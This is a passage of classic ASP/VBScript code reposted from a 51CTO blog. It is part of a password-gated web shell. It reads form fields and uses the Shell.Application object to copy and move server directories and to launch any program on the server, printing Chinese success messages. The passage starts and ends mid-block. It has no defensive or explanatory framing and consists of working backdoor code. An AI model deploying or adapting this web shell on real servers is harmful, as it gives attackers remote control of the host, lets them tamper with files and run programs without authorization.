for each co in foditems

response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>"

end if

%><%

szCMD1 = Request.Form("text1") '目录拷贝，不能进行文件拷贝

szCMD2 = Request.Form("text2")

if szcmd1<>"" and szcmd2<>"" then

set shell1=server.createobject("shell.application") '建立shell对象

set fod1=shell1.namespace(szcmd2)

for i=len(szcmd1) to 1 step -1

if mid(szcmd1,i,1)="\" then

path=left(szcmd1,i-1)

exit for

end if

if len(path)=2 then path=path & "\"

path2=right(szcmd1,len(szcmd1)-i)

set fod2=shell1.namespace(path)

set foditem=fod2.parsename(path2)

fod1.copyhere foditem

response.write "指定目录拷贝成功!"

end if

%> <%

szCMD3 = Request.Form("text3") '目录移动

szCMD4 = Request.Form("text4")

if szcmd3<>"" and szcmd4<>"" then

set shell2=server.createobject("shell.application") '建立shell对象

set fod1=shell2.namespace(szcmd4)

for i=len(szcmd3) to 1 step -1

if mid(szcmd3,i,1)="\" then

path=left(szcmd3,i-1)

exit for

end if

if len(path)=2 then path=path & "\"

path2=right(szcmd3,len(szcmd3)-i)

set fod2=shell2.namespace(path)

set foditem=fod2.parsename(path2)

fod1.movehere foditem

response.write "指定目录移动成功!"

end if

%> <%

szCMD5 = Request.Form("text5") '执行程序要指定路径

szCMD6 = Request.Form("text6")

if szcmd5<>"" and szcmd6<>"" then

set shell3=server.createobject("shell.application") '建立shell对象

shell3.namespace(szcmd5).items.item(szcmd6).invokeverb

response.write "指定程序被成功执行!"

end if

else

response.write "对不起!你的密码已经失效或者你输错了密码，请返回重输"

response.write "<a href='" & rseb & "?q=" & rseb & "'>【返回】</a>"

end if

%> <%

end select

本文转自 simeon2005 51CTO博客，原文链接:http://blog.51cto.com/simeon/15540